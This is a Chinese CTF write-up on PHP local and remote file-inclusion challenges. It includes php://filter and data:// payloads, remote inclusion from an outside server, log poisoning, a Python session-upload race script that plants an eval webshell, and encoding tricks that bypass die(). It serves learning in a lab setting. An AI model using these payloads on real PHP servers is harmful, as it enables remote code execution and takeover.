简单过一遍
include($file)
payload:
php://filter/read=convert.base64-encode/resource=flag.php data://text/plain,<?=show_source('flag.php')?>
$file = str_replace("php", "???", $file); include($file);
使用上一题的data伪协议即可,但是需要base64编码后面的字符
data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=
$file = str_replace("php", "???", $file); $file = str_replace("data", "???", $file); include($file);
远程文件包含
在自己服务器上写个一句话放进txt,python3 -m http.server 8090
?file=http://1.117.144.41:8090/1.txt aeqaq=show_source('fl0g.php');
$file = $_GET['file']; $file = str_replace("php", "???", $file); $file = str_replace("data", "???", $file); $file = str_replace(":", "???", $file); include($file);
在UA头中写入一句话,然后日志包含即可执行命令,日志位置在/var/log/nginx/access.log
$file = $_GET['file']; $file = str_replace("php", "???", $file); $file = str_replace("data", "???", $file); $file = str_replace(":", "???", $file); $file = str_replace(".", "???", $file); include($file);
点被过滤了,这个时候上面的方法都不适用
我们可以试着包含session文件竞争上传
原理了解:https://www.freebuf.com/news/202819.html
session.use_strict_mode默认值为off。当这个选项关闭时
此时用户是可以自己定义Session ID的。比如,我们在Cookie里设置PHPSESSID=flag,PHP将会在服务器上创建一个文件:/tmp/sess_flag”。即使此时用户没有初始化Session,PHP也会自动初始化Session,并产生一个键值.
注:在Linux系统中,session文件一般的默认存储位置为 /tmp 或 /var/lib/php/session
一边上传一边竞争包含即能执行文件中的恶意php代码
用python来发包包含:
import io import sys import requests import threading sessid = 'flag' def POST(session): while True: f = io.BytesIO(b'a' * 1024 * 50) session.post( 'http://adbbcde0-d9b0-4a26-b6c6-5cda99266fc1.challenge.ctf.show:8080/', data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php system('cat *');fputs(fopen('shell.php','w'),'<?php @eval($_POST[flag])?>');?>"}, files={"file":('q.txt', f)}, cookies={'PHPSESSID':sessid} ) def READ(session): while True: response = session.get(f'http://adbbcde0-d9b0-4a26-b6c6-5cda99266fc1.challenge.ctf.show:8080?file=/tmp/sess_{sessid}') if 'flag' not in response.text: print('[+++]retry') else: print(response.text) sys.exit(0) with requests.session() as session: t1 = threading.Thread(target=POST, args=(session, )) t1.daemon = True t1.start() READ(session)
比上一题加入了
session_unset();
session_destroy();
两个函数,但是传入参数包含是在这两个函数之后的,所以并不影响包含,上一题脚本适用
在最后加入了 system("rm -rf /tmp/*"),但我们上传的临时文件只要他上传的时候能够包含就行了,竞争的关系所以没有影响
if(file_exists($file)){ $content = file_get_contents($file); if(strpos($content, "<")>0){ die("error"); } include($file); }
条件竞争,因为存在文件不存在的时候,此时if不能触发,那不是直接就绕过了吗,下面依旧条件竞争包含文件
define('INCLUDE_PATH','/include/'); set_include_path(INCLUDE);
这样当我们引用 include 中的文件 如 conn.php,smarty_config.php 时,我们直接可以这样写
include_once('conn.php');
include_once('smarty_config.php');
$file = $_GET['file']; $content = $_POST['content']; $file = str_replace("php", "???", $file); $file = str_replace("data", "???", $file); $file = str_replace(":", "???", $file); $file = str_replace(".", "???", $file); file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);
函数file_put_contents,我们可以利用它写入一句话,但是不巧,写入的内容执行前就被die终结了,所以我们可以考虑用filter协议写入base64数据
p牛:绕过死亡diehttps://www.leavesongs.com/PENETRATION/php-filter-magic.html
php://filter/write=convert.base64-decode/resource=123.php
两次url编码绕过
1.base64编码绕过
GET file=%2570%2568%2570%253a%252f%252f%2566%2569%256c%2574%2565%2572%252f%2577%2572%2569%2574%2565%253d%2563%256f%256e%2576%2565%2572%2574%252e%2562%2561%2573%2565%2536%2534%252d%2564%2565%2563%256f%2564%2565%252f%2572%2565%2573%256f%2575%2572%2563%2565%253d%2561%252e%2570%2568%2570 // file=php://filter/write=convert.base64-decode/resource=a.php POST content=11PD9waHAgZXZhbCgkX1BPU1RbMV0pOw== 其中PD9waHAgZXZhbCgkX1BPU1RbMV0pOw==是"<?php eval($_POST[1]);"的base64编码。前面的11是为了填充"<?php die('大佬别秀了');?>" base64 4位4位解码,其中"<?php die('大佬别秀了');?>"解码的内容其实只有phpdie,所以需要再填充两位。 //content=<?php eval($_POST[1]);
2.rot13编码绕过
GET file=%2570%2568%2570%253a%252f%252f%2566%2569%256c%2574%2565%2572%252f%2577%2572%2569%2574%2565%253d%2573%2574%2572%2569%256e%2567%252e%2572%256f%2574%2531%2533%252f%2572%2565%2573%256f%2575%2572%2563%2565%253d%2562%252e%2570%2568%2570 //file=php://filter/read=string.rot13/resource=b.php POST content=<?cuc riny($_CBFG[1]); //content=<?php eval($_POST[1]);
if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){ die("error"); } include($file);
payload:
file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmwwZy5waHAnKTsgPz4
function filter($x){ if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){ die('too young too simple sometimes naive!'); } } $file=$_GET['file']; $contents=$_POST['contents']; filter($file); file_put_contents($file, "<?php die();?>".$contents);
理解了filter的妙用之后,发现其实还有很多其他的编码方式
取一个 UCS-2LE UCS-2BE
payload: file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php post:contents=?<hp pvela$(P_SO[T]1;)>?